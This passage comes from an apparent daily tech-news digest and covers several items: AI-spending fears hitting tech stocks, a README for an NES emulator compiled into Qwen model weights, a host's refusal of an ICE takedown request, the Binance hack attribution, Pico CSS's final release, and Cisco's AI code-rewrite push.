\florilegiuminitial[4]{T}his paragraph starts with a decorated T.
... a flower in the margin beside this line\florilegiumbloom ...
\florilegiumage{0.8}                 % grown only: autumn from here on
\florilegiumtheme{geometric}         % another theme, from the page this stands on
\florilegiumornament{leaf}           % one leaf in the text, the size of a letter
\florilegiumtextend                  % grown only: at the very end of the text

A fixed seed instead of the page number: lualatex "\def\florilegiumseed{7}\input{florilegium-grow.tex}.

Any primitive can be drawn on its own inside a TikZ picture, under the current scope's shift, rotation and scale:

\begin{tikzpicture}
  \begin{scope}[shift={(2,2)},rotate=20]\florilegiumdraw{flower}{1.3}\end{scope}
  \begin{scope}[shift={(5,0)}]\florilegiumdraw{leaf}{3.0, {depth=0.6}}\end{scope}
  \begin{scope}[shift={(8,1)}]\florilegiumdraw{ghost}{"lily", {s=1.4}}\end{scope}
  \begin{scope}[shift={(11,1)}]\florilegiumdraw{butterfly}{1.5}\end{scope}
\end{tikzpicture}

With a theme, its primitives can be drawn by name too: \florilegiumdraw{crystal}{1.0} under theme=geometric (see specimen-geometric.tex), \florilegiumdraw{knot}{1.2} under theme=math.

How it works

Drawing (ink.lua). All geometry is computed in Lua and written as PDF path operators into one literal node per page; TeX does no arithmetic. Primitives are drawn in a local frame under an affine transform, which is read from TikZ when a primitive is called inside a scope. Colors come from a tone ramp derived from the one document color ink: navy to mist at the hue of ink, interpolated in OKLCH so the light end stays blue instead of turning gray. Tapered strokes are two offset Béziers, not sampled ribbons.

Primitives (flora.lua). Painted in the order a watercolorist would: a flat wash, darker blotches multiplied over it, pigment pooling at the edges, streaks lifted out in white, a few fine veins, and almost no outlines. Broad petals and flowers, star lilies seen at a tilt, blossoms and florets, buds and bellflowers; lobed and entire leaves; forget-me-not cymes that curl like a scorpion's tail, branching sprigs, umbels, tendrils, seed heads; butterflies, bees, snails and a bird; copper sparkles, rosettes and the ivy-leaf fleuron whose stem becomes the head rule. Any of them can be painted as a pale ghost.

Authored composition (authored.lua). A plant grows from a root in the bottom-left corner: three stems through hand-picked control points, a fourth along the bottom of the page as the footer, leaves at chosen fractions of the stems, and every other motif on a branch that leaves its stem tangentially and arrives along the motif's axis — so every flower can be traced back to the root.

Grown composition (grow.lua), in the spirit of Wong, Zongker & Salesin, Computer-Generated Floral Ornament (SIGGRAPH 1998). The stems sway up the column as smooth noise of their height; leaves are hung at their nodes where there is room. Then, repeatedly: take the largest free disc within reach of a stem, choose a motif that fits it, and grow a branch to it from the nearest stem point; the branch becomes a stem in turn. Big holes are taken first, so flowers and lilies land early, sprays and leaves fill the middle, and the loop ends by tucking leaflets, buds and florets onto the stems. The end of the text is measured with \pagetotal in the same pass, so a short last page grows branches into the space below it with one compilation.

Reading the page (florilegium.lua). A heading or \florilegiumbloom leaves an invisible marker node in the text. When the page is shipped out, its box is walked node by node, adding up heights, depths and the glue as it was set, to find each marker's height on the page; the garden then gives those lines their flowers before any leaf is hung. An age reweights the motifs: buds and sprays of buds in spring, seed heads in autumn, when some leaves are painted with a ramp built from the accent instead of the ink.

Initials (initial.lua). The letter's outline comes from luaotfload's OpenType reader as Bézier segments. Flattened into polygons, it gives an even-odd inside test, and a grid of distances to the letter and the frame finds the largest gaps for the flowers. The vine is a Catmull-Rom curve across the tile; where it crosses the letter it goes over and under in turn, and the strands that go over are drawn again, clipped to the letter, with a thin halo of paper.

Procedural ≠ random. The seed is derived from the page number, so page n always gets garden n. Reproducibility is what makes the document stable enough to typeset.

See CLAUDE.md for a handoff-style map of the code, the tunables, and ideas not yet done.

Credits

  • The Reddit post that asked the question (see Origin).
  • The growth loop follows Wong, Zongker & Salesin, Computer-Generated Floral Ornament (SIGGRAPH 1998).
  • The tone ramp is computed in Oklab, Björn Ottosson's perceptual color space; the conversion matrices in ink.lua are his, released into the public domain.
  • The random numbers come from mulberry32, Tommy Ettinger's public-domain generator.
  • \florilegiumornament, its ink and seed=random keys, and the density option answer issue #4 from rubyFeedback.
  • The math theme's figures keep the names of the people they come from: Maurer's roses, Vogel's model of the sunflower, Temple Fay's butterfly curve, the Petersen graph, Koch's snowflake, Hilbert's curve, Lissajous figures, the gasket of Apollonius.

License

MIT, see LICENSE. Copyright (c) 2026 Kevin Raymond.

The Daily Front Page 15 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — The Cost of the Boom
article

US tech stocks see sharp falls over AI cost fears

by mindracer·▲ 251 points·283 comments·bbc.co.uk ↗
AI spending nears $1tn

Two men walk in front of the Nasdaq building, which has a large curved lit up sign that reads Nasdaq on the front.

Tech stocks tumbled for the second day in a row as concerns rise over the hundreds of billions of dollars firms are investing in artificial intelligence (AI).

Shares in Intel plummeted by 28% on Friday, while Google owner Alphabet saw its stock price continue to fall another 1.4% after a 12% plunge on Thursday.

Other tech stocks, including Reddit and Amazon also fell, while the Nasdaq index of the largest tech firms listed in the US, ended October with its worst monthly slide since March 2025.

While tech firms are spending big on AI, their earnings are not always meeting analysts' expectations, spooking investors and creating fears of an AI bubble.

Major tech companies have ramped up artificial intelligence spending, with Meta, Alphabet, Oracle, Amazon, and Microsoft committing to spending $800bn between them in 2026.

Alphabet's stock market value fell sharply on Thursday, taking more than $500bn (£374bn) off its market value after it revealed the AI summaries it now provides as the top answer to search queries were affecting its core search advertising revenue.

At the same time, Alphabet expects to spend up to $205bn this year on investments, almost entirely related to AI.

The bigger losses on Friday were elsewhere however, with Intel shedding more than $130bn in value.

The chip maker said it planned to increase spending on AI despite weaker demand for computers, a major source of demand for its micro-processors.

On Thursday, Intel's finance chief David Zinsner said the firm did not expect to bring in more cash than it spent this year and forecast lower-than-expected revenue for its fourth quarter.

"Looking ahead, we see the PC slowdown continuing at least through the first half of next year," he said in the chip maker's third quarter earnings report.

In the earnings call, he said the firm had significantly ramped up investment in equipment in the third quarter and expected that to be "even more significant" in the following three months.

Amazon and Reddit down

Amazon on Thursday revealed it had also spent more cash than it was making, and that spending had increased six-fold over the span of three months.

The company has committed to spending $220bn this year, putting the money towards investments such as AI data centres, network equipment, and servers.

Amazon shares recovered some overnight losses, but were still down by 1.4% at the end of Friday trading.

Reddit stock plunged by 29%, after the social media platform revealed weaker-than-expected daily user figures and warned that Google's growing AI-driven search was hurting referral traffic.

Stock in online game platform Roblox also fell, down by 18%, as its daily active user numbers dropped.

Several major tech firms have reported earnings this week, including Microsoft, and analysts said there were questions about the payout from the huge investments in AI.

Chris Low, from investment management firm FHN Financial, said the bulk of what was happening in the stock market was in reaction to some of the biggest tech players such as Amazon and Google.

He told Reuters the companies were "showing some pretty significant growing pains as they aggressively pursue the AI build-out".

"The thinking is that these signs suggest that the entire sector is going to slow down."

'Investors have turned ruthless'

Many analysts have been debating the possibility of an AI bubble in the stock market.

The worry is that some tech firms will not be able to justify their sky-high valuations because the cost of building AI data centres and developing the software will end up being greater than the money they can make from it.

Kathleen Brookes, research director at trading firm XTB, said there have been many ups and downs in AI trade in recent months.

"Investors have turned ruthless, punishing any signs of disappointment in [third quarter] earnings," she said.

"The AI trade has had a good run in recent years, but now investors want payback, and companies like Alphabet and Intel are in the crosshairs."

However, stock market values for many of these companies remain well above where they were a year ago.

While the Nasdaq closed 2.8% lower, it is up 7.8% over the last year. Similarly Amazon is up nearly 8% over the past 12 months, while Alphabet is down 1.3%.

Brookes noted that November is typically a strong month for stocks.

"If we see AI stocks continue to struggle in the coming days, it could suggest the AI trade is past its peak, and investors will be looking for a new theme to drive markets," she said.

The Daily Front Page 16 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — A Console in the Weights
show hn

Show HN: A working Nintendo in ~1GB of Qwen weights

by dbreunig·▲ 238 points·119 comments·github.com ↗
Nobody trained these weights; a compiler computed every one.

An NES CPU compiled into the weights of a stock Qwen3.5 model.

The NES's 6502 CPU (the core of its 2A03 chip), its 2 KB of work RAM, and a cartridge's program ROM run inside a standard Qwen3_5ForCausalLM checkpoint. Nobody trained these weights; a compiler computed every one. When you play a game, the model predicts the CPU's execution log one token at a time. A small host program plays the rest of the console around it: it draws the picture, reads the controller, and fires the vblank interrupt.

nesformer builds on Qwenputer by Divyansh Agrawal, which compiled a CHIP-8 and then a RISC-V CPU into Qwen3.5-4B. It reuses Qwenputer's compiler and its central trick: the model's Gated DeltaNet state is the machine's memory.

Super Mario Bros. (World 1-1) Full Game by Doug Fraker (title screen and first level) Super Mario Bros., played by the weights Full Game, played by the weights

Every CPU token in these runs came from the model. For the bundled test games, every frame also matches a conventional 6502 emulator's output exactly (see How it was checked).

Quick start

1. Folder layout

Unzip nesformer.zip and nesformer-weights.zip into the same folder. The weights go next to the nesformer/ package, not inside it:

nesformer/              <- run commands from here
├── nesformer/          <- the Python package
├── chipformer/         <- Qwenputer's compiler
├── roms/               <- test ROMs (put your own here too)
├── examples/           <- sample GIFs and frame sheets
├── tests/
├── LICENSE
├── LICENSE.chipformer
├── README.md
├── pyproject.toml
└── weights/            <- from nesformer-weights.zip
    ├── config.json
    ├── generation_config.json
    ├── model.safetensors
    ├── nesformer.json
    └── SHA256SUMS

The CLI looks for weights/ beside the nesformer/ package. To keep the weights elsewhere, pass --weights /path/to/weights to run, check or trace, or give the path to info.

To confirm the weights unzipped correctly, run shasum -a 256 -c weights/SHA256SUMS from the top folder.

2. Install

You need Python 3.11 or newer.

python3 -m venv .venv
source .venv/bin/activate          # Windows: .venv\Scripts\activate
pip install numpy scipy numba pillow

3. Play a game

python -m nesformer run roms/thwaite.nes --frames 600 --show \
  --buttons "start@90-95+200-205,a@230-233+250-253+270-273+290-293+310-313+330-333+350-353+370-373+390-393+410-413+430-433+450-453+470-473+490-493+510-513+530-533+550-553+570-573+590-593"

--show draws each frame in your terminal as the model generates it. When the run ends, the CLI saves an animated GIF named after the ROM (here thwaite.gif) in the current folder.

Expect it to be slow. The first run spends about 20 seconds compiling the engine with numba. After that, a frame takes 1–6 seconds, so 600 frames (10 seconds of NES time) take around 25 minutes.

Playing your own ROMs

Point run at any .nes file that uses the NROM board (iNES mapper 0), such as Super Mario Bros., Donkey Kong or Excitebike. You supply the ROM; nesformer only ships the three freely licensed test ROMs in roms/.

python -m nesformer run roms/smb.nes --frames 600 --show \
  --buttons "start@60-65,right@200-600,a@250-265+300-315+360-375+420-435+480-495+540-555"

That script starts the game, then walks Mario right and jumps about once a second. The CLI loads the ROM into the model's state at startup, so the same weights run any NROM game without a rebuild. Games on other boards stop with a message: see Limitations.

Controller scripts

--buttons takes a comma-separated list of entries. Each entry names one or more buttons joined by +, then @, then one or more frame ranges joined by +:

start@60-65                 press Start during frames 60 to 65
right@200-600               hold Right from frame 200 to frame 600
a@250-265+300-315           press A twice
right+b@200-600             hold Right and B together (run, in Super Mario Bros.)

The buttons are a, b, select, start, up, down, left and right. Frames count from power-on at 60 per second, so frame 600 is 10 seconds in. Games ignore input on screens where you can't move, so holding a button a little early does no harm. In Super Mario Bros., a longer A press makes a higher jump.

Commands

Command What it does
python -m nesformer run ROM Play a ROM on the weights and save a GIF
python -m nesformer check ROM Run the weights and the reference CPU side by side; stop at the first difference
python -m nesformer trace ROM Print the model's token stream (default 40 tokens)
python -m nesformer build Compile the circuit and write weights/ (about 10 seconds)
python -m nesformer info Describe the checkpoint

Options for run:

Option Default Meaning
--frames N 120 Stop after N frames
--buttons SCRIPT none Controller input (see above)
--show off Draw frames in the terminal (needs 24-bit color, e.g. iTerm2 or Windows Terminal)
--gif PATH ROM name Where to save the animated GIF
--png DIR off Save each kept frame as a PNG in DIR. With --png alone, no GIF is saved. Add --gif to get both.
--every N 1 Keep every N-th frame
--scale N 2 Enlarge saved frames N times
--engine fast fast (numba), numpy, or hf (stock transformers; needs torch, ~10 tokens/s)
--no-skip off Run every iteration of idle wait loops (slower; identical frames)
--max-tokens N none Stop after N tokens
--trace FILE none Save the token ids

run, check and trace all accept --weights, --engine, --buttons and --no-skip. check --tokens N sets how far to compare (default 50,000). trace --tokens N sets how many tokens to print (default 40). build --out DIR writes the checkpoint somewhere other than weights/.

How it works

What's in the weights, and what isn't

In the model (weights + DeltaNet state) In the host (nesformer/host.py)
The 6502 core: all 151 official opcodes, every addressing mode, flags, stack, BRK and NMI entry The PPU: a scanline renderer and the palette
2 KB of work RAM Controllers; APU registers (written, otherwise ignored)
32 KB of PRG-ROM, stored twice: one copy for instruction fetch, one for data reads NMI timing at vblank, injected as an NMI token
OAM DMA reads (the 256 bytes appear as DM tokens) Answers to I/O reads, injected as IN tokens

This split follows Qwenputer's CHIP-8 build, whose host injects timer ticks and draws the display from the trace. The host never sees the CPU's registers or RAM except through the trace.

The memory trick works like this. Each DeltaNet head keeps a 128 × 128 state matrix that the delta rule updates at every token. With the gate held open and a one-hot key, an update overwrites exactly one row of that matrix, and a one-hot query reads it back. So every row is a memory cell, and the cartridge, RAM and registers all live in rows.

The checkpoint

weights/ is an ordinary Hugging Face folder. It loads with Qwen3_5ForCausalLM.from_pretrained and needs no custom code.

Architecture Qwen3_5ForCausalLM, with Qwen3.5-4B's DeltaNet head shapes (16 key heads, 32 value heads, dim 128) and MLP width (9,216)
Layers 7 Gated DeltaNet layers (the circuit), plus 1 all-zero attention layer that Hugging Face's cache needs
Hidden size 768
Vocabulary 263,808 tokens
Parameters 466.6M in bf16 (933 MB), of which 9.3M are nonzero, so the weights zip to 3.3 MB

nesformer.json records which layer and head holds each part of the machine. A run writes the cartridge, registers and RAM into those DeltaNet states, then decodes greedily.

Layer plan

Layer Attention (state) MLP
1 PC anchor; instruction counters; A, X, Y, SP; flags N V Z C I D; pointer latches; NMI flag counter thermometers; SP ± 1; LO + Y
2 — PC = anchor + bytes executed since; PC + 1, PC + 2
3 PRG fetch: opcode and two operand bytes at the PC opcode decode; operand bits; indexed sums; branch test and target
4 — effective address, by addressing mode and record stage; the byte a push stores
5 RAM and PRG data reads at the effective address operand; ADC/SBC adder, compares, BIT; address decode
6 — result byte, carry, overflow, flags, jump targets
7 — the next token

The trace

Each instruction becomes a record, and the record's last token commits it. As in Qwenputer's RISC-V core, the PC is implied rather than written: each final token carries its instruction's length, three DeltaNet counters tally the instructions of each length since the last jump, and the PC is the jump target plus that offset. Excerpts from Full Game:

SEI            P(000100 px0 L1)
LDX #$40       X($40 c0 v0 px0 L2)
STX $4017      IOW($4017=$40 L3)
TXS            S($FF L1)
BIT $2002      IOR($2002) IN($00) P(000110 px0 L3)       <- the host injects IN
BPL $8017      J($8017)
JSR $8279      PSH($FE) PSH($FD) J($8279)                 <- the return address is pushed in-circuit
RTS            PUL($FC) LO($7B) PUL($FD) J($827C)
STA ($72),Y    LO($08) HI($03) ST($00 a7=0 L2)            <- pointer bytes latched, then the store
STA $4014      IOW($4014=$02 L0) DM(0:$FF) … DM(255:$00) NT(L3)   <- OAM DMA

Most instructions take a single token; real game code averages 1.1–1.3 tokens per instruction. nesformer/spec.py documents every token family.

How it was checked

  • The reference CPU (nesformer/cpu.py) matches nestest's golden log for 3,348 instructions, and the py65 emulator on 5.7 million instructions of game code.
  • The exact circuit, run in Qwenputer's evaluator with its bf16 exactness checks, predicts every reference token: all of nestest plus 283,610 positions of two games' boot sequences.
  • The checkpoint in stock transformers (bf16, CPU) predicts 2,651 positions of nestest and Full Game with no mismatches.
  • The weights, free-running, generate traces identical to the reference CPU's:
Run Tokens Frames NES time Result
nestest (official opcodes) 4,586 — — identical, ending in the expected HALT
Thwaite, check 700,000 271 4.5 s identical trace and frames
Thwaite, run 1,916,527 600 10.0 s all 300 saved frames match
Full Game, run 2,645,885 420 7.0 s all 210 saved frames match
  • The idle-loop skip changes nothing visible: frames and I/O writes, cycle timestamps included, match a run without it.

Speed

The default engine computes Qwen3.5's forward pass from model.safetensors, compiled with numba and skipping the all-zero blocks. It ran at about 1,650 tokens/s on one CPU core of the machine it was built on. The plain numpy engine does about 210, and stock transformers about 10. A real NES would need about 700,000 tokens per second.

Games spend most of each frame in a loop that waits for vblank. When the host sees a loop body repeat exactly, with no RAM or I/O writes, it advances the clock to just before the next PPU event, and the remaining iterations still run. That cuts the token count by 2.6× to 4.2×. Overall, nesformer runs 150–290× slower than the real console.

Limitations

  • NROM cartridges only (iNES mapper 0). The CPU can address only 32 KB of program ROM at a time. Bigger games carry a bank-switching chip (a mapper, such as MMC1 or MMC3) that swaps which part of the ROM the CPU sees. nesformer's ROM reads happen inside the model, from a fixed 32 KB table, so it can't follow a bank switch yet. Supporting a mapper means storing the whole ROM in the state, keeping the bank registers there too, and adding one stage that turns each CPU address into a ROM address.
  • Official opcodes only. An unofficial opcode emits HALT.
  • Code must run from the cartridge ROM. A jump into RAM emits HALT.
  • No IRQs (APU frame IRQ, DMC). BRK and NMI work.
  • Read-modify-write instructions on I/O registers don't produce an I/O write, and $4020–$7FFF reads as 0 (no PRG-RAM).
  • The PPU and APU aren't in the weights. The PPU renders one scanline at a time, so mid-scanline effects aren't reproduced. Sprite-0 hit and sprite overflow are approximate, and there's no sound.

Tests

pip install pytest py65
python -m pytest -q tests

The tests take a few minutes. They check the reference CPU against nestest's log, the circuit against the reference, the weights free-running against the reference, and the idle-loop skip.

Running the checkpoint in stock transformers

pip install "torch>=2.6" "transformers>=5.22"
python -m nesformer run roms/thwaite.nes --frames 3 --engine hf

nesformer/hfcheck.py shows the whole procedure: load the checkpoint, decode one padding token, write the machine's state into the cache's DeltaNet states, then feed tokens one at a time.

Files

Path Contents
nesformer/spec.py token families and records
nesformer/cpu.py the reference 6502 that writes the trace
nesformer/host.py everything around the CPU: PPU, controllers, NMI timing, cycle counting, idle skip
nesformer/core.py the circuit and the state snapshot
nesformer/weights.py the emitter that turns the circuit into a Qwen3_5ForCausalLM checkpoint
nesformer/engine.py, fastengine.py run the weights (numpy / numba)
nesformer/hfcheck.py run the weights in stock transformers
nesformer/run.py, check.py, cli.py, __main__.py drivers, the teacher-forced check, the CLI
chipformer/ Qwenputer's q35 compiler (q35/ emitter and primitives, dsl/ graph)
weights/ the compiled checkpoint and its SHA-256 checksum
roms/ test ROMs; roms/SOURCES.md lists their authors and licenses
examples/ GIFs and frame sheets from the runs; demo.gif is the Super Mario Bros. run shown at the top
tests/test_nesformer.py the test suite

Credits

  • Qwenputer and its chipformer compiler: MIT, © 2026 Divyansh Agrawal (LICENSE.chipformer). That license also covers the code adapted from Qwenputer in nesformer/core.py and nesformer/weights.py. Its last paragraph refers to Qwenputer's CHIP-8 ROMs, which this repository does not include.
  • Test ROMs: nestest by Kevin Horton; Full Game by Doug Fraker (MIT); Thwaite by Damian Yerrick (GPL-3.0, source at pinobatch/thwaite-nes).

License

nesformer is released under the MIT License (see LICENSE). The ROMs in roms/ keep their own licenses, listed in roms/SOURCES.md.

The Daily Front Page 17 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — Takedown Desk
article

ICE wants its mask back, and hired a company to ask

by rdmuser·▲ 194 points·22 comments·blog.flokinet.is ↗
those that reveal something worth discussing publicly

ICE wants its mask back, and hired a company to ask

We receive takedown notices regularly. They come from individuals, lawyers, companies, and governments. This post is part of a series where we document how we handle them, both the routine cases and those that reveal something worth discussing publicly.

This request, to take down icepi.cx (now online again at http://icepicx.is/ ) arrived from a company we have no relationship with, acting for a government agency in a country where we do not operate.

We declined the request.

What happened

The notice describes a doxxing campaign. That is not what the site is.

Doxxing publishes private details about private people so that others can find them at home. Icepick publishes work identities of government employees. Who they work for. What their role is. How they can be reached in that role. The information describes people in the exercise of public authority, not in their private lives. Federal officers carrying out an enforcement programme are not private individuals while they are carrying it out. The public has a legitimate interest in knowing who is doing that work, under whose authority, and in which office. Journalists cannot report on an agency whose personnel are structurally unknowable.

We are not pretending the origin of the data is comfortable. It came from a breach, and nobody in the dataset chose to be in it. The question we had to answer was narrower: does publishing it serve a purpose that a hosting provider should protect? We concluded that it does. The site functions as a reference tool for accountability reporting by journalists and citizens, and that is a use we exist to keep online. This is why we declined the take-down request.

Why this matters

An automated takedown notice does not remove the work of checking whether an accusation is true. It moves that work to the recipient. We made that point about a false accusation from a German police authority, and it holds here with a different agency, a different country, and a different kind of claim.

ZeroFox finds candidate material through AI-driven detection. Whether a given site is accountability journalism or a harassment campaign is exactly the judgment that detection cannot make. Someone has to read the site, look at the dataset, and weigh public interest against personal risk and this morning that someone was us.

This case adds something to that. The party accusing us and the party contacting us are no longer the same. We cannot see who inside ICE decided this site should go, whether anyone did, or what they were shown before deciding. We are being asked to validate a claim whose author we cannot identify.

As a business model, none of this is new. Copyright has worked this way for decades. A private company sells monitoring to rights holders, scrapes for matches, sends demand letters automatically, and takes a share of whatever recipients pay to make the letters stop. Volume is the product. Checking is a cost against it. Plenty has been written about what that does to legitimate speech, and most of it transfers to what arrived in our inbox this morning.

What has changed is the client. In this case its a governmental institution, not a private company. DHS signed a $15 million contract with ZeroFox in July 2026 covering ICE and Homeland Security Investigations, and the company can file on the department’s behalf until 2028. The Intercept reported on a leaked memo describing the programme internally as a “Doxing Mitigation Initiative,” and quoted an ICE official who worried it could be turned on whistleblowers and critics inside the agency rather than on threats from outside it. ZeroFox also has form. In 2015 it classified peaceful Black Lives Matter organisers in Baltimore as “threat actors” warranting continuous monitoring, partly on the strength of their follower counts. The FBI hired the company anyway in 2021.

Validation by the recipient is no longer a side effect of a badly built process. It is part of what the service sells. Finding politically and journalistically relevant information is the product, removing it is the deliverable, and the number of notices filed is the measure of success.

What happened to the site?

By mid-morning, icepi.cx no longer resolved. Its registrar, CentralNic, had placed the domain on serverHold.

Our refusal kept nothing online. The request that decided the outcome to take the site down was not the one sent to us. A registrar reached the opposite conclusion the same morning, published nothing, and a global audience lost access to the site. In the meantime the site is online again under a domain from a different registrar (http://icepicx.is/)

What should be done about this

As we describe in our previous article, legislation like the DSA loads obligations onto hosting providers and asks nothing of the people who file notices.
This case demonstrates what can happen once filing becomes a commercial service available to governmental organisations.

Anyone filing a takedown notice on another party’s behalf should have to state who they act for, under what legal basis, and who is accountable if the claim is wrong. Where a notice was produced by automated detection, that should be declared on its face. A provider cannot weigh a claim properly without knowing whether a human ever looked at it.

Removals at the registry and registrar level need the the same scrutiny.
Enforcement against genuinely harmful content is a legitimate goal, and protecting individuals from harassment is a real one. But a system where an agency can buy removals through a contractor, where the contractor is possibly paid by volume, and where the quickest route runs through infrastructure nobody is watching, like the registrar in this case is not a system for stopping harassment. It is a system for making inconvenient information disappear.

The Daily Front Page 18 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — Binance, Attributed
article

Blockchain intelligence firms link North Korea to $6.3B hack on Binance

by paulpauper·▲ 192 points·128 comments·npr.org ↗
a North Korean unit was likely behind the hack

FILE - The Binance logo is seen on a smartphone, Feb. 28, 2023, in Marple Township, Pa.

FILE - The Binance logo is seen on a smartphone, Feb. 28, 2023, in Marple Township, Pa. Matt Slocum/AP

A U.S.-based blockchain intelligence firm says a North Korean unit was likely behind the hack that impacted more than $6 billion on Binance, the world's biggest cryptocurrency exchange.

Binance said it worked with blockchain partners to freeze roughly $3 billion in affected assets. It said Friday that it was beginning to recover assets for users.

The cryptocurrency exchange said deposits were unaffected, while withdrawals have been suspended and are expected to resume in the next day or two. It said it will cover all losses.

The company said on X that an initial investigation suggested the incident may have involved a compromised laptop, but that a subsequent investigation uncovered additional "points of breach."

TRM, in a post on its website Thursday, attributed the attack to TraderTraitor, which it described as North Korea's elite hacking unit. "We make this judgment with high confidence," the firm said.

"An attacker moved approximately USD 6.36 billion out of Binance wallets on ten blockchains, most of it in about 20 minutes," TRM said. That would make the hack the largest cryptocurrency theft on record, it said.

In February last year, another cryptocurrency exchange, Bybit, suffered a $1.5 billion hit when it was hacked. The FBI said North Korea and TraderTraitor were responsible for the hack.

"Several features of this attack match earlier North Korea-linked heists, including the Bybit hack," TRM said.

Blockchain analysis company Chainalysis also believed the Binance hack was "likely done by DPRK group TraderTraitor," its co-founder and CEO Jonathan Levin wrote on X. DPRK stands for the Democratic People's Republic of Korea, North Korea's official name.

Asked about the potential ties to North Korea, a Binance spokesperson said only that the company is "working closely with our law enforcement partners to confirm the identity of the criminals and bring them to justice."

Experts say North Korea has turned to crypto hacking and other illicit cyber activities as a source of badly needed foreign currency to support its troubled economy and fund its nuclear program in the wake of tough U.N. sanctions and other difficulties.

In December 2022, South Korea's spy agency said North Korean hackers had stolen an estimated 1.5 trillion won ($1.1 billion) in cryptocurrency and other virtual assets in the past five years, more than half of it in 2022 alone. It said North Korea's capacity to steal digital assets was considered among the best in the world.

Changpeng Zhao, also known as CZ, founded Binance in 2017. In 2023, he pleaded guilty to a felony linked to failing to prevent money laundering on the platform, and stepped down as the company's CEO. U.S. President Donald Trump pardoned Zhao in 2025.

Zhao posted Thursday on X that "User funds are safe!" but added that the theft "does look like a hack on Binance." He added that while he doesn't manage Binance anymore, "as a shareholder, I expect all user funds will be fully covered."

The event, meanwhile, also raises questions about why stronger approval controls were not in place, said Kok Tin Gan, cofounder and CEO of cybersecurity firm NyxLab.

"This looks like one signature that gave the attacker a never-expiring, full-access token to a Binance hot wallet," he said, referring to cryptocurrency wallets that hold users' "private keys," or unique authorizations, digitally and which are connected to the internet.

Binance said on X it had "found no evidence of any wallet private key leak" and that the company would release more technical details when its probe is complete.

NPR does not offer or accept money for coverage or interviews.
Anyone who makes such an offer or request is not an NPR employee and does not represent NPR.

The Daily Front Page 19 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — The Last Release
repository

Pico CSS is no longer maintained

by henrid·▲ 191 points·97 comments·github.com ↗
★ 16,828⑂ 514 forks CSS

Minimal CSS Framework for semantic HTML

v2.1.1 is the final release.

Why
Today, AI can generate lightweight, standalone, accessible HTML with just the CSS it needs, so a Minimal CSS Framework for Semantic HTML matters less than it used to. To stay relevant, Pico CSS would need a full rewrite: plain modern CSS instead of Sass, built on features it doesn't use today (OKLCH colors, cascade layers, Popover, anchor positioning) with fallbacks for older browsers, and a native compiler that strips unused CSS and makes customization easy. That would be a different project. Pico CSS stays as it is.

What this means

  • Nothing breaks. npm, the jsDelivr CDN and picocss.com stay online for the long term.
  • The repositories are archived. No new issues, PRs or releases.
  • Pico CSS is MIT licensed. You're free to fork it and take it further. See community forks.
  • The Pico CSS name and logo are not covered by the MIT license. Please give your fork its own name, so users don't confuse it with the original.

Thank you
What started as a small side project ended up powering thousands of websites. Thank you to everyone who used it, opened issues, sent pull requests and wrote kind messages over the years.

The Daily Front Page 20 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — Rewrite Fever
article

Cisco gives engineer unlimited AI tokens to rewrite legacy code

by taubek·▲ 168 points·200 comments·fortune.com ↗
unlimited AI tokens and told to “go nuts.”

Meet Paddy, the 27-year-old Cisco’s president calls an “energizer bunny.” The Gen Z ex-founder has been given unlimited AI tokens and told to “go nuts.”

Meet Paddy, the 27-year-old Cisco’s president calls an “energizer bunny.” The Gen Z ex-founder has been given unlimited AI tokens and told to “go nuts.”Getty Images

Gen Z can’t catch a break. Entry-level jobs are vanishing; some 40% of bosses say they plan to hire fewer grads because AI can do the job cheaper, and young workers are routinely slammed for showing up late and refusing to put in overtime for free. Cisco’s president and chief product officer Jeetu Patel isn’t buying it—he’s just handed one of the company’s biggest jobs to a 27-year-old he found hidden in the org chart “five levels” below him.

“I’ve given him unlimited tokens because he’s going to refactor code,” Patel told Fortune at a small roundtable dinner. “So I’m like, you can go, you can go nuts.”

The “him” is Padmanabhan Krishnamurthy, or “Paddy,” as Patel affectionately calls him. He joined Cisco in 2025 after the $429 billion tech giant acquired EzDubs, the real-time translation startup Krishnamurthy cofounded in 2023. And despite coming in as a former founder with CEO experience, he was, in Patel’s words, “buried away in the organization doing something unstrategic.”

That changed when Patel dropped into Cisco’s San Francisco office, and the pair got talking. Krishnamurthy reckoned he could rewrite Cisco’s legacy code with a two-person team. Patel says even the most AI-forward people on his own team weren’t thinking that way.

So he has given himself four weeks to prove it, with the final goal of refactoring 98% of Cisco’s legacy code within 24 months.

Now, he’s on the hunt for more Paddys: young hires who will “challenge the system and the status quo,” or, as he puts it, be “an energizer bunny that just goes out and kind of revs everyone up.”

Cisco’s president says Gen Z should be teaching his veterans, not doing data entry—and he’s fine with the tension that causes

At most companies, only someone with decades of experience under their belt would be trusted with a project this size. Patel thinks that’s a problem.

“If you don’t hire the early-in-career [workers], and you just let your workforce continue the way that they were, where do fresh ideas get injected? How do you challenge the status quo?” he said.

Seasoned staff can still come up with new ideas, Patel added. What they can’t do is ask the questions that only someone with no experience would think to ask.

And getting the two to get along isn’t always smooth. Patel admits that putting a Gen Zer in a room with people who’ve been at Cisco for decades can create friction—but he says that’s the point.

“Tension is good,” he said. “I actually try to create tension in the teams because you want to have enough friction on the ideas. You don’t want to have friction with people and personalities.”

“What you have to do is establish enough trust with people to say you are going to be expected to create unreasonable goals for yourself,” he added. “And so, in order to go out and achieve those unreasonable goals, think outside of the box.”

And he’s not just pushing senior staff to take notes from twentysomethings. He said that he treats every intern as “kind of a reverse mentor,” and even does talks at colleges to find students who are “hungry.”

His latest Gen Z bet came out of one of those talks, to 17- and 18-year-old Stanford scholarship students. While a line of students fired questions at him, one, Baya, stood off to the side, just listening. She waited until everyone else had finished before she opened up.

He told her to email him every month with what she’d learned about AI. It was a test of follow-through: “Everyone can go out and have one good conversation. But are they going to stick with their commitments?”

She never missed one, landed an internship at Cisco, and redesigned “something” that experienced staff hadn’t been able to crack.

“I didn’t bring her in so that she can do grunt work and do data entry,” he said. “We brought her in so that she could actually teach our people how to think completely differently.” Now he wants to recruit her.

Patel isn’t the only one betting on Gen Z—OpenAI investor Josh Kushner and Will.i.am are hunting for young, hungry talent

Patel isn’t the only boss who sees Gen Z’s lack of experience as an asset.

Thrive Capital’s founder Josh Kushner told Fortune he specifically likes to hire people with less than four years of industry experience.

When he launched the venture capital firm at just 26, he faced pressure to bring in older, more seasoned hires. But, as he put it, “anyone who has experience that is talented will never want to work with a 26-year-old.” So, instead, he recruited the “smartest people that we knew who were our ages.”

